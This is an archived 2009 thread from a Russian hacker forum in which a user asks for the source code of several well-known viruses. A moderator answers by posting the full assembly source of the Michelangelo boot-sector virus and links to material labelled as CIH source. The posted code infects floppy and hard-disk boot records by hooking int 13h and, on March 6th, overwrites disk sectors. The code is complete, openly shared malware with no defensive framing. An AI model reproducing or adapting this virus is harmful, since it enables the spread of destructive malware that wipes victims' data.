1. Вы находитесь в архивной версии форума xaker.name. Здесь собраны темы с 2007 по 2012 год, большинство инструкций и мануалов уже неактуальны.
    Скрыть объявление

Прошу помощи по исходникам...

Тема в разделе "Программирование", создана пользователем t0wer, 12 авг 2009.

  1. t0wer

    t0wer Новичок

    Регистрация:
    2 дек 2008
    Сообщения:
    15
    Симпатии:
    10
    Баллы:
    0
    Долго бродил по форуму куда эту тему определить, но коль это программный код на одном из темных языков, то создал тут. Если промахнулся, то прошу модеров сильно не ругаться... Вопрос деликатный и тем более раритетный, так что прошу помощи.

    Ищу исходники следующих вирусов (приму любые тематические ссылки на них):

    * Michelangelo
    * CIH
    * Sobig
    * Mydoom/Novarg
    * Blackworm

    За предоставленную информацию буду благодарен. В личку плиз, чтобы балаган не устраивать.
     
  2. Robo

    Robo ░░▒▓█▓▒░░ Модератор

    Регистрация:
    10 авг 2007
    Сообщения:
    301
    Симпатии:
    169
    Баллы:
    0
    mike

    Код:
    michelangelo    segment byte public
    		assume  cs:michelangelo, ds:michelangelo
    		org     0
    		jmp     entervirus
    highmemjmp      db      0F5h, 00h, 80h, 9Fh
    maxhead         db      2                       ; used by damagestuff
    firstsector     dw      3
    oldint13h       dd      0C8000256h
    
    int13h:
    		push    ds
    		push    ax
    		or      dl, dl                  ; default drive?
    		jnz     exitint13h              ; exit if not
    		xor     ax, ax
    		mov     ds, ax
    		test    byte ptr ds:[43fh], 1   ; disk 0 on?
    		jnz     exitint13h              ; if not spinning, exit
    		pop     ax
    		pop     ds
    		pushf
    		call    dword ptr cs:[oldint13h]; first call old int 13h
    		pushf
    		call    infectdisk              ; then infect
    		popf
    		retf    2
    exitint13h:     pop     ax
    		pop     ds
    		jmp     dword ptr cs:[oldint13h]
    
    infectdisk:
    		push    ax
    		push    bx
    		push    cx
    		push    dx
    		push    ds
    		push    es
    		push    si
    		push    di
    		push    cs
    		pop     ds
    		push    cs
    		pop     es
    		mov     si, 4
    readbootblock:
    		mov     ax,201h                 ; Read boot block to
    		mov     bx,200h                 ; after virus
    		mov     cx,1
    		xor     dx,dx
    		pushf
    		call    oldint13h
    		jnc     checkinfect             ; continue if no error
    		xor     ax,ax
    		pushf
    		call    oldint13h               ; Reset disk
    		dec     si                      ; loop back
    		jnz     readbootblock
    		jmp     short quitinfect        ; exit if too many failures
    checkinfect:
    		xor     si,si
    		cld
    		lodsw
    		cmp     ax,[bx]                 ; check if already infected
    		jne     infectitnow
    		lodsw
    		cmp     ax,[bx+2]               ; check again
    		je      quitinfect
    infectitnow:
    		mov     ax,301h                 ; Write old boot block
    		mov     dh,1                    ; to head 1
    		mov     cl,3                    ; sector 3
    		cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
    		je      is360Kdisk
    		mov     cl,0Eh
    is360Kdisk:
    		mov     firstsector,cx
    		pushf
    		call    oldint13h
    		jc      quitinfect              ; exit on error
    		mov     si,200h+offset partitioninfo
    		mov     di,offset partitioninfo
    		mov     cx,21h                  ; Copy partition table
    		cld
    		rep     movsw
    		mov     ax,301h                 ; Write virus to sector 1
    		xor     bx,bx
    		mov     cx,1
    		xor     dx,dx
    		pushf
    		call    oldint13h
    quitinfect:
    		pop     di
    		pop     si
    		pop     es
    		pop     ds
    		pop     dx
    		pop     cx
    		pop     bx
    		pop     ax
    		retn
    entervirus:
    		xor     ax,ax
    		mov     ds,ax
    		cli
    		mov     ss,ax
    		mov     ax,7C00h                ; Set stack to just below
    		mov     sp,ax                   ; virus load point
    		sti
    		push    ds                      ; save 0:7C00h on stack for
    		push    ax                      ; later retf
    		mov     ax,ds:[13h*4]
    		mov     word ptr ds:[7C00h+offset oldint13h],ax
    		mov     ax,ds:[13h*4+2]
    		mov     word ptr ds:[7C00h+offset oldint13h+2],ax
    		mov     ax,ds:[413h]            ; memory size in K
    		dec     ax                      ; 1024 K
    		dec     ax
    		mov     ds:[413h],ax            ; move new value in
    		mov     cl,6
    		shl     ax,cl                   ; ax = paragraphs of memory
    		mov     es,ax                   ; next line sets seg of jmp
    		mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
    		mov     ax,offset int13h
    		mov     ds:[13h*4],ax
    		mov     ds:[13h*4+2],es
    		mov     cx,offset partitioninfo
    		mov     si,7C00h
    		xor     di,di
    		cld
    		rep     movsb                   ; copy to high memory
    						; and transfer control there
    		jmp     dword ptr cs:[7C00h+offset highmemjmp]
    ; destination of highmem jmp
    		xor     ax,ax
    		mov     es,ax
    		int     13h                     ; reset disk
    		push    cs
    		pop     ds
    		mov     ax,201h
    		mov     bx,7C00h
    		mov     cx,firstsector
    		cmp     cx,7                    ; hard disk infection?
    		jne     floppyboot              ; if not, do floppies
    		mov     dx,80h                  ; Read old partition table of
    		int     13h                     ; first hard disk to 0:7C00h
    		jmp     short exitvirus
    floppyboot:
    		mov     cx,firstsector          ; read old boot block
    		mov     dx,100h                 ; to 0:7C00h
    		int     13h
    		jc      exitvirus
    		push    cs
    		pop     es
    		mov     ax,201h                 ; read boot block
    		mov     bx,200h                 ; of first hard disk
    		mov     cx,1
    		mov     dx,80h
    		int     13h
    		jc      exitvirus
    		xor     si,si
    		cld
    		lodsw
    		cmp     ax,[bx]                 ; is it infected?
    		jne     infectharddisk          ; if not, infect HD
    		lodsw                           ; check infection
    		cmp     ax,[bx+2]
    		jne     infectharddisk
    exitvirus:
    		xor     cx,cx                   ; Real time clock get date
    		mov     ah,4                    ; dx = mon/day
    		int     1Ah
    		cmp     dx,306h                 ; March 6th
    		je      damagestuff
    		retf                            ; return control to original
    						; boot block @ 0:7C00h
    damagestuff:
    		xor     dx,dx
    		mov     cx,1
    smashanothersector:
    		mov     ax,309h
    		mov     si,firstsector
    		cmp     si,3
    		je      smashit
    		mov     al,0Eh
    		cmp     si,0Eh
    		je      smashit
    		mov     dl,80h                  ; first hard disk
    		mov     maxhead,4
    		mov     al,11h
    smashit:
    		mov     bx,5000h                ; random memory area
    		mov     es,bx                   ; at 5000h:5000h
    		int     13h                     ; Write al sectors to drive dl
    		jnc     skiponerror             ; skip on error
    		xor     ah,ah                   ; Reset disk drive dl
    		int     13h
    skiponerror:
    		inc     dh                      ; next head
    		cmp     dh,maxhead              ; 2 if floppy, 4 if HD
    		jb      smashanothersector
    		xor     dh,dh                   ; go to next head/cylinder
    		inc     ch
    		jmp     short smashanothersector
    infectharddisk:
    		mov     cx,7                    ; Write partition table to
    		mov     firstsector,cx          ; sector 7
    		mov     ax,301h
    		mov     dx,80h
    		int     13h
    		jc      exitvirus
    		mov     si,200h+offset partitioninfo ; Copy partition
    		mov     di,offset partitioninfo      ; table information
    		mov     cx,21h
    		rep     movsw
    		mov     ax,301h                 ; Write to sector 8
    		xor     bx,bx                   ; Copy virus to sector 1
    		inc     cl
    		int     13h
    ;*              jmp     short 01E0h
    		db      0EBh, 32h               ; ?This should crash?
    ; The following bytes are meaningless.
    garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
    partitioninfo:  db      42h dup (0)
    michelangelo    ends
    		end
    
    Добавлено через 2 минуты
    cih
    http://62nds.com/62nds/documents/cih.txt__

    Добавлено через 12 минут
    http://www.governmentsecurity.org/f...e&module=attach&section=attach&attach_id=1329

    и вообще, моя кошка лучше гуглит, чем ты ))

    итд... ...
     
    Последнее редактирование: 22 авг 2009
    3 пользователям это понравилось.

Поделиться этой страницей